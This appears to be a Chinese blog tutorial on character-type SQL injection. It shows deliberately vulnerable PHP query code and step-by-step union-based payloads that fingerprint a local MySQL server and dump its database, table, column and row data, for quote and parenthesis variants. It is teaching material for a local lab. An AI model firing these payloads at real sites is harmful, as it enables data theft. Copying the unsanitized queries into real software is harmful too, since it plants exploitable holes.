小伙伴们大家好!本期为大家带来的是SQL注入原理-字符型注入的讲解!

目录

SQL注入原理

字符型注入

一、单引号字符注入

1.测试是否存在注入点

2、判断字段个数

3、找出可以回显的字段

4、查看当前数据库、数据库用户以及数据库版本

5、查看所有的数据名

6、查看数据库下的所有表名

7、查询表中的所有字段

8、查询表中的数据

总结


SQL注入原理

SQL注入的原理是由于后端没有对前端用户输入的数据进行检验与过滤,导致用户输入的SQL语句传入到后端,被后端执行。

字符型注入

所谓字符型注入就是用户在前端输入的参数值传入到后端,后端的SQL查询语句将参数值用引号或者括号等特殊符号包裹了起来。

例如:

select * from users where username='admin'

这里的admin就被单引号包裹了起来。

下面我们就进入字符型注入的学习。

一、单引号字符注入

源代码:

<?php// 连接数据库$coon = mysqli_connect("127.0.0.1","root","root","test",3306);error_reporting(0);if (isset($_GET['id'])) {// 接受传来的参数id$id = @$_GET['id'];// 执行的SQL语句$sql = "select id,username,password,phone,e_mail from guests where id='$id' limit 0,1";$res = mysqli_query($coon, $sql);$row = mysqli_fetch_array($res);if ($res) {echo "<center>";echo "<h1>"."username:".$row['username']."</h1>"."<br/>";echo "<h1>"."password:".$row['password']."</h1>"."<br/>";echo "<h1>"."phone:".$row['phone']."</h1>"."<br/>";echo "<h1>"."e-mail:".$row['e_mail']."</h1>"."<br/>";echo "</center>";}else{echo "<center></br>";echo "<h1>";print_r(mysqli_error($coon));echo "</h1></center>";}} else {echo "<center><br/>";echo "<h1>Please input a value as id!</h1>";echo "</center>";}

1.测试是否存在注入点

我们直接传入id值“?id=1”。

我们输入“?id=1 and 1=2”来检测and 1=2 的条件是否能被数据库执行。

发现数据依然能够正常回显,这是因为我们传入的id值是被单引号包裹了起来。后端的查询语句的条件被改成“where id='1 and 1=2'” ,而MySQL是一种弱类型的语言,会把'1 and 1=2'这条字符串的数值当作字符串前边的1,所以查询输出的数据依旧是id值为1 的数据。

这个时候我们就要闭合单引号,我们在id值后边加一个单引号试一下,构造id值“?id=1'”。

发现报错,这是因为1'被插入SQL语句中,由于后面多了个单引号使得语句报错。

要怎么解决这个问题呢?

我们可以采用注释掉后面的一个单引号就可以。

构造id值“?id=1'--+”,"--+"代表注释,另外SQL语句还有其他的注释符号“#”。

http://127.0.0.1/opsql/sql04.php?id=1'--+

成功回显了id=1的数据。

下面我们再尝试构造“?id=1' and 1=2--+”,观察页面是否正常回显。

http://127.0.0.1/opsql/sql04.php?id=1' and 1=2--+

由于1=2的条件是错误的,页面没有回显id值为1的数据,所以and 1=2这条语句成功的被后端执行。

再构造“?id=1' and 1=1--+”看页面是否能回显id值为1的数据。

http://127.0.0.1/opsql/sql04.php?id=1' and 1=1--+

正常显示了id值为1 的数据,说明存在注入点。

2、判断字段个数

接下来,我们就是来判断后端在数据库查询时,总共查询了几个字段的数据。

我们通常使用order by 来判断后端进行数据库查询时所查询的字段数。

我们直接构造id值为“?id=1' order by 5--+”

http://127.0.0.1/opsql/sql04.php?id=1' order by 5--+

order by是数据库查询的时候对结果进行的排序,如果后面写的是字段,则根据查询字段进行排序,但如果后面写的是数字,该数字大于所查询的字段数,则就会报错,小于的话就不会报错。

order by 5的时候正常显示了id值为1 的数据,而order by 6的时候报错“Unknown column '4' in 'order clause'”。说明后端SQL查询语句查询的字段数为5个,返回上面查看源代码查询的字段数确实是5个。

3、找出可以回显的字段

构造id值“?id=1' union select 1,2,3,4,5--+”

http://127.0.0.1/opsql/sql04.php?id=1' union select 1,2,3,4,5--+

发现没有显示1,2,3...。这是为什么呢?因为后端正常查询了id=1的数据并且前端只显示一条数据的信息。想要得到1,2,3...分别能在哪里显示,就必须让后端的查询语句查不到结果,即:让id值为负或者在id=1'后添加一个条件“and 1=2”。

这里可以查询的字段,第二个第三个第四个第五个字段都能在前端页面显示。

4、查看当前数据库、数据库用户以及数据库版本

构造id值“?id=-1' union select 1,database(),user(),version(),5--+”

http://127.0.0.1/opsql/sql04.php?id=-1' union select 1,database(),user(),version(),5--+

MySQL中database()为查看当前数据库的函数, user()为查看当前数据库用户名的函数,version()为查看数据库版本信息的函数。

从页面回显结果可以得到当前数据库名为test,当前数据库用户名为root@localhost,数据库的版本为5.5.53。

5、查看所有的数据名

构造id值为“?id=-1' union select 1,2,group_concat(schema_name),4,5 from information_schema.schemata--+”

http://127.0.0.1/opsql/sql04.php?id=-1' union select 1,2,group_concat(schema_name),4,5 from information_schema.schemata--+

因为前端只显示一条数据,而我们想要得到所有的结果就要使用group_concat()函数,group_concat() 可以将我们查询到的数据用“,”拼接起来。

information_schema数据库是MySQL5.0之后自带的数据库,infomation_schema数据下的schemata表存储了所有数据库名,information_schema数据库下的tables表存储了所有的表名,information_schema数据库下的columns表存储了所有的字段名。

6、查看数据库下的所有表名

构造id值“?id=-1' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='study'--+”。

http://127.0.0.1/opsql/sql04.php?id=-1' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='study'--+

7、查询表中的所有字段

构造id值“?id=-1' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='study' and table_name='student'--+”

http://127.0.0.1/opsql/sql04.php?id=-1' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='study' and table_name='student'--+

8、查询表中的数据

构造id值“?id=-1' union select 1,2,group_concat(id),group_concat(name),group_concat(age) from study.student--+”

http://127.0.0.1/opsql/sql04.php?id=-1' union select 1,2,group_concat(id),group_concat(name),group_concat(age) from study.student--+

二、双引号字符注入

源代码:

<?php// 连接数据库$coon = mysqli_connect("127.0.0.1","root","root","test",3306);error_reporting(0);if (isset($_GET['id'])) {// 接受传来的参数id$id = @$_GET['id'];// 执行的SQL语句$sql = "select id,username,password,phone,e_mail from guests where id=\"$id\"limit 0,1";$res = mysqli_query($coon, $sql);$row = mysqli_fetch_array($res);if ($res) {echo "<center>";echo "<h1>"."username:".$row['username']."</h1>"."<br/>";echo "<h1>"."password:".$row['password']."</h1>"."<br/>";echo "<h1>"."phone:".$row['phone']."</h1>"."<br/>";echo "<h1>"."e-mail:".$row['e_mail']."</h1>"."<br/>";echo "</center>";}else{echo "<center></br>";echo "<h1>";print_r(mysqli_error($coon));echo "</h1></center>";}} else {echo "<center><br/>";echo "<h1>Please input a value as id!</h1>";echo "</center>";}

咱们还是构造id值“?id=1" and 1=2--+”,注意这里咱们在id=1后加的是双引号了,而不是单引号。

来看一下页面回显的情况,如果能够回显id值为1的数据,代表不能注入或者包裹id符号不是双引号;如果不能够回显id值为1的数据,代表and 1=2 条件被传入到后端数据库查询语句,导致后端没有查询到结果,以至于前端没有回显数据,则存在注入点。

and 1=2 时页面没有回显id值为1的数据 ,而and 1=1时页面正常回显了id值为1的数据,所以存在注入点。

接下来就是判断后端查询的字段个数,找出前端页面可以回显的字段,爆出数据库名、表名、字段名,爆出字段名后就可以查看数据了。具体操作跟单引号字符注入的步骤一样,这里就不赘述了。

三、小括号字符注入

源代码:

<?php// 连接数据库$coon = mysqli_connect("127.0.0.1","root","root","test",3306);error_reporting(0);if (isset($_GET['id'])) {// 接受传来的参数id$id = @$_GET['id'];// 执行的SQL语句$sql = "select id,username,password,phone,e_mail from guests where id=($id) limit 0,1";$res = mysqli_query($coon, $sql);$row = mysqli_fetch_array($res);if ($res) {echo "<center>";echo "<h1>"."username:".$row['username']."</h1>"."<br/>";echo "<h1>"."password:".$row['password']."</h1>"."<br/>";echo "<h1>"."phone:".$row['phone']."</h1>"."<br/>";echo "<h1>"."e-mail:".$row['e_mail']."</h1>"."<br/>";echo "</center>";}else{echo "<center></br>";echo "<h1>";print_r(mysqli_error($coon));echo "</h1></center>";}} else {echo "<center><br/>";echo "<h1>Please input a value as id!</h1>";echo "</center>";}

首先咱们先构造id值“?id=1'”,直接先在id=1后加一个单引号,观察页面回显。

通过报错信息猜测id值可能被小括号包裹或者被单引号+小括号包裹。

我们假定id值只被小括号包裹,构造id值“?id=1) and 1=2--+”,这里id=1后就变成了小括号了。

来看一下页面回显的情况,如果能够回显id值为1的数据,代表不能注入或者包裹id符号不是小括号;如果不能够回显id值为1的数据,代表and 1=2 条件被传入到后端数据库查询语句,导致后端没有查询到结果,以至于前端没有回显数据,则存在注入点。

and 1=2 时页面没有回显出id值为1的数据,and 1=1时 页面正常的回显了id值为1的数据,说明id值是只被小括号包裹的,存在注入点。

接下来的操作就跟前面的单引号双引号字符注入的操作一样了,这里就不赘述了。

四、单引号+小括号的字符注入

源代码:

<?php// 连接数据库$coon = mysqli_connect("127.0.0.1","root","root","test",3306);error_reporting(0);if (isset($_GET['id'])) {// 接受传来的参数id$id = @$_GET['id'];// 执行的SQL语句$sql = "select id,username,password,phone,e_mail from guests where id=('$id') limit 0,1";$res = mysqli_query($coon, $sql);$row = mysqli_fetch_array($res);if ($res) {echo "<center>";echo "<h1>"."username:".$row['username']."</h1>"."<br/>";echo "<h1>"."password:".$row['password']."</h1>"."<br/>";echo "<h1>"."phone:".$row['phone']."</h1>"."<br/>";echo "<h1>"."e-mail:".$row['e_mail']."</h1>"."<br/>";echo "</center>";}else{echo "<center></br>";echo "<h1>";print_r(mysqli_error($coon));echo "</h1></center>";}} else {echo "<center><br/>";echo "<h1>Please input a value as id!</h1>";echo "</center>";}

这里还是先判断是否存在注入点。

这里我们先构造id值“?id=1'”,直接在id=1后先加一个单引号看是否会发生什么。

查看页面回显

通过报错信息可以得知,id值是被单引号+小括号包裹的。

再来构造id值“?id=1') and 1=2--+”,这里id=1后就变成了单引号+小括号。

构造“?id=1') and 1=1--+”

and 1=1时正常回显,and 1=2没有正常回显,代表and 1=2 跟and 1=1 被查插入到了后端SQL语句,存在注入点。

接下来的操作还是跟之前的单引号字符注入的操作一样,这里不再赘述。

五、双引号+小括号字符注入

源代码:

<?php// 连接数据库$coon = mysqli_connect("127.0.0.1","root","root","test",3306);error_reporting(0);if (isset($_GET['id'])) {// 接受传来的参数id$id = @$_GET['id'];// 执行的SQL语句$sql = "select id,username,password,phone,e_mail from guests where id=(\"$id\") limit 0,1";$res = mysqli_query($coon, $sql);$row = mysqli_fetch_array($res);if ($res) {echo "<center>";echo "<h1>"."username:".$row['username']."</h1>"."<br/>";echo "<h1>"."password:".$row['password']."</h1>"."<br/>";echo "<h1>"."phone:".$row['phone']."</h1>"."<br/>";echo "<h1>"."e-mail:".$row['e_mail']."</h1>"."<br/>";echo "</center>";}else{echo "<center></br>";echo "<h1>";print_r(mysqli_error($coon));echo "</h1></center>";}} else {echo "<center><br/>";echo "<h1>Please input a value as id!</h1>";echo "</center>";}

这里我们还是先在构造id值“?id=1'”,先在id=1后加入单引号。

页面没有反应,再把单引号改成双引号试一下。

构造id值“?id=1"”

接下来就可以构造id值“?id=1") and 1=2--+” 和 “?id=1") and 1=1--+”来观察页面是否能够正常回显id值为1的数据了。

and 1=2 时页面没有回显出id值为1的数据,and 1=1时 页面正常的回显了id值为1的数据,说明存在注入点。

总结

字符型注入的基本流程:

首先判断参数值是被什么符号包裹的,一般先在参数值后边加一个单引号,单引号报错的话可以根据报错信息得到参数被什么符号包裹的;如果单引号不行的话就使用双引号来测试。找到注入点之后,就先判断后端SQL查询语句查询的字段个数,再检测哪些字段可以被前端页面显示,接下来就可以爆出数据库名、表名、以及字段名了,爆出字段名之后就是最后的爆数据了。

SQL注入原理-字符型注入相关推荐

  1. SQL注入之字符型注入练习(pikachu)

    SQL注入之字符型 实现目标:获取到pikachu下的表.数据信息 靶场:pikachu =>sql-inject=>字符型注入 2.实验步骤 第一步目标:拿到数据库名 2.1确定请求方法 ...

  2. sql注入_字符型、数字型判断

    如何判断sql注入是字符型还是数字型? 在进行sql注入时,字段类型分为字符型或者数字型,意味着我们需要构造不同的sql语句. 假设存在sql注入的url是:http://192.168.0.1/id ...

  3. 黑客学习-SQL注入(字符型):Hackbar获取网站账号和密码

    SQL注入用户通过浏览器或者其他客户端将恶意SQL语句插入到网站参数中,网站应用程序未经过过滤,将恶意SQL语句带入数据库进行执行,通过数据库获取了敏感的信息或者执行了其他恶意操作. 由于SQL语句本 ...

  4. SQL注入:搜索型注入

    like语法 "%"匹配任何字符,  "like"的意思就是像,  "$" 变量 SQL语句:select username,id from ...

  5. mysql 布尔型盲注,SQL注入之布尔型注入(MySQL)

    0x00 特点 当页面存在注入,但是没有显示位,且没有用echo "mysql_error()"输出错误信息时可以用, 它一次只能猜测一个字节,速度慢,但是只要存在注入就能用 0x ...

  6. SQL注入原理及其简单演示

    一 .  SQL注入: SQL injection:通过把SQL命令插入到web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器恶意执行的SQL命令.具体来说就是利用现有的程序将Sql命令 ...

  7. sql注入原理及危害

    什么是SQLi 前端构造的SQL语句片段拼接到后台SQL语句中,后台缺乏正确识别和过滤,造成与其外的数据库查询结果. SQLi的危害 从技术上来说:未授权.非法增删改查数据库内容,包括窃取信息.删除数 ...

  8. php字符型和数字型的注入,Sql注入的分类:数字型+字符型

    Sql注入: 就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以 ...

  9. 墨者靶场-SQL手工注入漏洞测试(MySQL数据库-字符型)

    0x00 前言 我们都知道,SQL注入分数字型和字符型,我们上次讲的是最基本的数字型SQL注入,这次我们就来讲最基本的字符型SQL注入.同样,如果是明白原理和方法的话,看懂这篇文章并不难,但是如果不清 ...

最新文章

  1. 期未课程设计:基于SSM的产品销售管理系统
  2. iOS 9音频应用播放音频之第一个ios9音频实例
  3. python turtle画熊-Python turtle画图库画姓名实例
  4. 汤家凤高等数学基础手写笔记-不定积分
  5. 第11章 支撑向量机SVM
  6. python界面散点图_Python数据可视化——散点图
  7. 九、Node.js中文乱码问题
  8. Spring中任务调度cronExpression配置说明
  9. Alibaba之MySQL宝典_Alibaba之MySQL宝典流出!极致经典,堪称行业天花板
  10. linux 环境下git的安装与配置
  11. jQuery构造函数init参数分析(三)
  12. 真的存在网络钓鱼吗?网络钓鱼技术之HTML走私分析
  13. 古体字与简体字对照表_简体字繁体字对照表
  14. android 过滤蓝光软件下载,蓝光过滤器app下载-蓝光过滤器(熬夜护眼必备)下载v1.4.7安卓版-西西软件下载...
  15. Floyd + 传递闭包
  16. 人脸识别眨眼张嘴软件_手机端APP活体真活人检测扫描人脸识别SDK之张嘴摇头眨眼点头确认真人非...
  17. APS计划排程和生产排产系统,包含哪些排程算法?
  18. 浙江大学 工程伦理 第二章单元测试答案
  19. Linux内核之misc框架
  20. display和visility

热门文章

  1. Java 常量 修饰符
  2. TypeScript零基础入门之背景介绍和环境安装
  3. kafka基础入门(三)
  4. FushionChart一个酷炫的图表插件
  5. (39.2)【XXE漏洞专题】XXE原理、产生、检测、危害、利用、示例
  6. 多元微积分_保守场内的线积分
  7. Python 整数类型除法
  8. linux权限命令chgrp,Linux常用命令之用户权限管理chmod、chown、chgrp、umask命令讲解...
  9. 人到中年意如何?创业艰难百战多
  10. 如何获取瘦人肠道菌群_还是瘦不下来?吃屎啦!——肠道菌群是怎样影响我们胖瘦的?...